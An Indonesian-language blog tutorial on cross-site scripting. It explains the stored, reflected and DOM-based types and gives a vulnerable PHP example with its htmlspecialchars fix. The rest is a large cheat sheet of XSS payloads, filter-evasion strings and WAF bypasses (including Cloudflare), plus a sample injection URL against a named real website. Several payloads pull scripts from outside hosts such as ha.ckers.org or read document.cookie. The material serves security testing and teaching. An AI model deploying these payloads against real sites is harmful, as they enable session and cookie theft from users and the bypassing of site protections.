Vulnerability : Cross Site Scripting (XSS)
Halo sobat Helixs! Cross Site Scripting Vulnerability atau yang lebih dikenal dengan XSS, sangat sering terjadi pada website. Kerentanan jenis ini banyak yang tidak terlalu berbahaya dan tidak berpengaruh besar terhadap website. Tapi jangan salah sangka dengan penyebutan tidak berbahaya, Cross Site Scripting Vulnerability sering dimanfaatkan penyerang untuk mencuri cookie dari suatu website . Penyerang juga dapat memanfaatkan Cross Site Scripting Vulnerability ini untuk mencuri kredensial suatu pengguna dan bisa saja log in sebagai pengguna tersebut, tentu saja berbahaya dan berdampak besar pada website jika pengguna nya memiliki akses admin. Cross Site Scripting Vulnerability juga dapat di manfaatkan untuk mencuri data data sepert cookie, informasi sensitif seperti data transaksi dan akses login pengguna.
Cross Site Scripting (XSS)
Cross-site Scripting (XSS) adalah serangan code injection, di mana sebuah script dapat disuntikkan ke situs web. Penyerang bertujuan untuk mengeksekusi script berbahaya di browser web korban dengan memasukkan payload di halaman web atau aplikasi web. Bagian rentan yang biasa digunakan untuk serangan Cross site Scripting adalah form, contact page, memungkinkan komentar. Halaman web atau aplikasi web rentan terhadap XSS saat menggunakan input form user yang tidak difilter output yang dihasilkannya.
Tipe Serangan XSS
- Stored XSS (Persistent XSS)
Jenis XSS yang paling merusak adalah Stored XSS (Persistent XSS). Penyerang menggunakan Stored XSS untuk memasukkan konten berbahaya, paling sering kode JavaScript, ke dalam aplikasi target. Jika tidak ada validasi input, kode berbahaya ini disimpan secara permanen oleh aplikasi web target, misalnya dalam database. Misalnya, penyerang dapat memasukkan script berbahaya ke dalam kolom input pengguna seperti kolom komentar blog atau di posting forum.
Saat korban membuka halaman web yang terpengaruh di browser, muatan serangan XSS disajikan ke browser korban sebagai bagian dari kode HTML. Ini berarti bahwa serangan jenis ini berpengaruh pada seluruh user.
- Reflected XSS (Non-persistent XSS)
Jenis XSS kedua dan yang paling umum adalah Reflected XSS (Non-persistent XSS). Dalam kasus ini, payload penyerang harus menjadi bagian dari permintaan yang dikirim ke server web. Ini kemudian direfleksikan kembali sedemikian rupa sehingga respons HTTP menyertakan payload dari permintaan HTTP. Muatan XSS Payload yang direfleksikan kemudian dieksekusi di browser pengguna. XSS yang direfleksikan bukanlah serangan yang terus-menerus, jadi penyerang perlu mengirimkan muatan berulang lagi untuk mengeksekusi payload. Serangan ini tidak berdampak besar pad sistem web.
- DOM-based XSS
XSS berbasis DOM adalah serangan XSS tingkat lanjut. Hal ini dimungkinkan jika skrip sisi klien aplikasi web menulis data yang diberikan oleh pengguna ke Model Objek Dokumen (DOM). Data tersebut kemudian dibaca dari DOM oleh aplikasi web dan dikeluarkan ke browser. Jika data tidak ditangani dengan benar, penyerang dapat memasukkan payload, yang akan disimpan sebagai bagian dari DOM dan dieksekusi saat data dibaca kembali dari DOM
Serangan XSS berbasis DOM sering kali merupakan serangan sisi klien dan muatan berbahaya tidak pernah dikirim ke server. Hal ini membuat lebih sulit untuk di deteksi Web Aplication Firewall (WAF) dan keamanan yang menganalisis log server karena mereka tidak mendeteksi serangan itu. Objek DOM yang paling sering dimanipulasi termasuk URL (document.URL), bagian dari URL (location.hash), dan Perujuk (document.referrer).
Cara Kerja XSS
Untuk menjalankan kode JavaScript berbahaya di browser, penyerang harus terlebih dahulu menemukan cara untuk memasukkan kode berbahaya (muatan) ke dalam halaman web yang dikunjungi.
Agar langkah pertama dapat dilakukan, situs web yang rentan perlu secara langsung memasukkan input pengguna di halamannya. Penyerang kemudian dapat memasukkan string berbahaya yang akan digunakan dalam halaman web dan diperlakukan sebagai kode sumber oleh browser.
Berikut adalah contoh script php yang vuln XSS :
1 2 3 4 5 6 |
<?php if(isset($_GET['query'])){ $q = $_GET['query']; echo $q; } ?> |
Pada script diatas penyerang dapat menyisipkan XSS payload pada GET query, Sebagai contoh
1 2 3 |
https://archive.org/search.php?query=%27%3E%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E&sin=TXT (XSS Vulnerability Pada Website archive.org) |
Code diatas tidak memfilter input dan output yang dimasukkan oleh penyerang, untuk meminimalisir serangan perlu untuk menambahkan fungsi htmlspecialchars atau pregmatch pada input form. Seperti berikut
1 2 3 4 5 6 |
<?php if(isset($_GET['query'])){ $q = htmlspecialchars($_GET['query']); echo $q; } ?> |
Payload
Berikut ini adalah berbagai macam payload yang paling sering di pakai untuk mengetes Cross Site Scripting Vulnerability. Terkadang beberapa website perlu di “Bypass” hingga payload berhasil di eksekusi.
<script> tag
Tag <script> adalah muatan XSS yang paling mudah. Tag <script> dapat mereferensikan kode JavaScript eksternal atau Anda dapat menyematkan kode di dalam tag <script> itu sendiri.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<script>alert(123)</script> <script>alert("XSS");</script> javascript:alert("XSS") <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> <<SCRIPT>alert("XSS");//<</SCRIPT> <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search <script>alert("XSS")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510 <script>alert("XSS");</script>&search=1 0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search <h1><font color=blue>hellox worldss</h1> |
JavaScript events
JavaScript event attributes seperti onload dan onerror dapat digunakan di banyak tag berbeda. Ini adalah XSS Payload yang sering dipakai.
1 2 3 4 5 6 7 8 |
<BODY ONLOAD=alert('XSS')> <input onfocus=write(XSS) autofocus> <input onblur=write(XSS) autofocus><input autofocus> <body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <form><button formaction="javascript:alert(XSS)">lol <!--<img src="--><img src=x onerror=alert(XSS)//"> <![><img src="]><img src=x onerror=alert(XSS)//"> <style><img src="</style><img src=x onerror=alert(XSS)//"> |
<body> tag
Payload XSS dapat dikirim di dalam <body>, dapat digabungkan dengan payload javascript event attributes.
1 |
<body background="javascript:alert("XSS")"> |
<img> tag
Beberapa browser mengeksekusi javascript pada <img> attributes.
1 2 3 4 |
<img src=1 onclick=prompt('XSS');> <img src="javascript:alert("XSS");"> <img dynsrc="javascript:alert('XSS')"> <img lowsrc="javascript:alert('XSS')"> |
<iframe> and <input> tag
Tag <iframe> memungkinkan Anda menyematkan halaman HTML lain di halaman saat ini. IFrame mungkin berisi JavaScript tetapi JavaScript di IFrame tidak memiliki akses ke DOM halaman induk karena Kebijakan Keamanan Konten (CSP) browser. Pada <input> tag sering terjadi juga serangan XSS, user memanipulasi nya agar dapat mengeksekusi Javascript.
1 2 3 4 |
<iframe src="http://hacker.com/xss"> <input type="image" src="javascript:alert('XSS');"> <input onfocus=write(XSS) autofocus> <input onblur=write(XSS) autofocus><input autofocus> |
<link>, <meta>, <div>, <style>,<button> and <object> tag
Tag <link> ,sering digunakan untuk menautkan ke external style sheets, penyerang dapat memanipulasi nya dengan mengisi source style sheets dengan script. Teknik ini juga dapat di berlakukan pada tag <meta>. <div> dan <style> kurang lebih sama, penyerang menyisipkan script ke dalam tag ini. <button> biasa digabungkan dengan javascript events attributes seperti onclick. <object> tag mirip dengan <iframe> tag, dengan tag ini penyerang dapat menyisipkan link external yang berisi script.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
<link rel="stylesheet" href="javascript:alert('XSS');"> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <div style="background-image: url(javascript:alert('XSS'))"> <div style="width: expression(alert('XSS'));"> <style>@keyframes slidein {}</style><data style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="window.prompt('XSS')"></data> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <script>({0:#0=alert/#0#/#0#(123)})</script> <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script> <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script> <script src="#">{alert(1)}</script>;1 <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script> <svg xmlns="#"><script>alert(1)</script></svg> <svg onload="javascript:alert(123)" xmlns="#"></svg> <iframe xmlns="#" src="javascript:alert(1)"></iframe> +ADw-script+AD4-alert(document.location)+ADw-/script+AD4- %2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4- +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi- %2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi- %253cscript%253ealert(document.cookie)%253c/script%253e ><s%2bcript>alert(document.cookie)</script> ><ScRiPt>alert(document.cookie)</script> ><<script>alert(document.cookie);//<</script> foo%00<script>alert(document.cookie)</script> <scr<script>ipt>alert(document.cookie)</scr</script>ipt> %22/%3E%3CBODY%20onload=document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)%3E ; alert(document.cookie); var foo= foo\; alert(document.cookie);//; </script><script >alert(document.cookie)</script> <img src=asdf onerror=alert(document.cookie)> <BODY ONLOAD=alert(XSS)> "><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script> <video src=1 onerror=alert(1)> <audio src=1 onerror=alert(1)> <button onclick=prompt("XSS");>(XSS)<br> <object type="text/x-scriptlet" data="http://hacker.com/xss"> |
Other Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <form><button formaction="javascript:alert(XSS)">lol <!--<img src="--><img src=x onerror=alert(XSS)//"> <![><img src="]><img src=x onerror=alert(XSS)//"> <style><img src="</style><img src=x onerror=alert(XSS)//"> <? foo="><script>alert(1)</script>"> <! foo="><script>alert(1)</script>"> </ foo="><script>alert(1)</script>"> <? foo="><x foo='?><script>alert(1)</script>'>"> <! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>"> <% foo><x foo="%><script>alert(123)</script>"> <div style="font-family:'foo ;color:red;';">LOL <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> <<SCRIPT>alert("XSS");//<</SCRIPT> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> \";alert('XSS');// </TITLE><SCRIPT>alert("XSS");</SCRIPT> ŒscriptŸalert(¢XSS¢)Œ/scriptŸ <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')"> <TABLE><TD BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> <XSS STYLE="xss:expression(alert('XSS'))"> exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e); <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> <form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION <form><button formaction="javascript:alert(123)">crosssitespt <frameset onload=alert(123)> <!--<img src="--><img src=x onerror=alert(123)//"> <style><img src="</style><img src=x onerror=alert(123)//"> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> <embed src="javascript:alert(1)"> |
XSS Bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
<script>({0:#0=alert/#0#/#0#(123)})</script> <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script> <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script> <script src="#">{alert(1)}</script>;1 <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script> <svg xmlns="#"><script>alert(1)</script></svg> <svg onload="javascript:alert(123)" xmlns="#"></svg> <iframe xmlns="#" src="javascript:alert(1)"></iframe> +ADw-script+AD4-alert(document.location)+ADw-/script+AD4- %2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4- +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi- %2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi- %253cscript%253ealert(document.cookie)%253c/script%253e ><s%2bcript>alert(document.cookie)</script> ><ScRiPt>alert(document.cookie)</script> ><<script>alert(document.cookie);//<</script> foo%00<script>alert(document.cookie)</script> <scr<script>ipt>alert(document.cookie)</scr</script>ipt> %22/%3E%3CBODY%20onload=document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)%3E ; alert(document.cookie); var foo= foo\; alert(document.cookie);//; </script><script >alert(document.cookie)</script> <img src=asdf onerror=alert(document.cookie)> <BODY ONLOAD=alert(XSS)> "><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script> <video src=1 onerror=alert(1)> <audio src=1 onerror=alert(1)> "><input/onauxclick="[1].map(prompt)"> <img src=x onerror=eval(atob('YWxlcnQoJ0kgb25seSB3cml0ZSBsYW1lIFBvQ3MnKQ==')) /> '"--><Body onbeforescriptexecute="[1].map(confirm)"> '-prompt.call(window, 'xss')-' '-alert.call(window, 'xss')-' <\/script><script>alert('XSS')<\/script> aaa"bbb'ccc<svg onload=alert('XSS')>eee javascript://%0a%0dalert(document.cookie) <--`<img/src=`%20onerror=confirm``>%20--!> <svg </onload ="1> (_=alert,_(1337)) ""> <details/open/ontoggle=window.alert`xss`> `aaaa autofocus onfocus=alert(1)//` `aaaa onbeforescriptexecute=alert(1)//` `aaaa onmouseover=alert(1)//` `'autofocus onfocus='alert(1)` `'autofocus onfocus=alert(1)//` `'onbeforescriptexecute=alert(1)//` `'onmouseover='alert(1)//` (Interaction) `'autofocus onblur='alert(1)` (Interaction) `"autofocus onfocus="alert(1)` `"autofocus onfocus=alert(1)//` `"onbeforescriptexecute=alert(1)//` `"onmouseover="alert(1)//` (Interaction) `"autofocus onblur="alert(1)` (Interaction) |
XSS Bypass
Cloudflare XSS Bypasses by @Bohdan Korzhynskyi – 3rd june 2019
1 2 3 |
<svg onload=prompt%26%230000000040document.domain)> <svg onload=prompt%26%23x000000028;document.domain)> xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'> |
Cloudflare XSS Bypass – 22nd march 2019 (by @RakeshMane10)
1 |
<svg/onload=&<em>#97lert()//</em> |